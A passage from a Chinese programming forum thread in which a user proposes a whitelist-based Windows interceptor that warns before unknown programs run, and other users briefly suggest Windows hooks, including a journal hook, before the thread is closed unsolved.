确认无毒WINDOWS系统安装之后,就在系统中驻留运行系统消息拦截程序。
WINDOWS每运行一个程序就拦截,可以把自己认为安全性很高的程序放在一个
safe.INI 的文件中。如果运行的程序不在列表中就向用户报警,给出提示是否允许其运行,我想这样可以更有效地防止未知的病毒和木马。
这样的程序由程序员自己使用最合适。起码知道此程序是否是自己想运行的。
如果杀毒软件也添加此功能,实时建立程序运行日志,程序名称、路径、运行时期、安全系数等。应该说对于大家都有益处。
#14
使用HOOK!!!!!
#15
涉及到启动一个进程时报警,HOOK里有个日志钩子,不知可不可以,感觉没有这么简单,总觉得这些事该系统管呀。
#16
luo73(梦中编程) 告诉你:
我用得确实是日志钩子,只不过这个DEMO(*.exe)是用日志钩子处理键盘事件。
你想想看,如果是键盘钩子的话,必须做成DLL才能实现以上功能!对吧...
请你分析一下这段代码,我相信一定能解决你的问题!
我用得确实是日志钩子,只不过这个DEMO(*.exe)是用日志钩子处理键盘事件。
你想想看,如果是键盘钩子的话,必须做成DLL才能实现以上功能!对吧...
请你分析一下这段代码,我相信一定能解决你的问题!
#17
我现在也没有解决此问题,先结帖吧。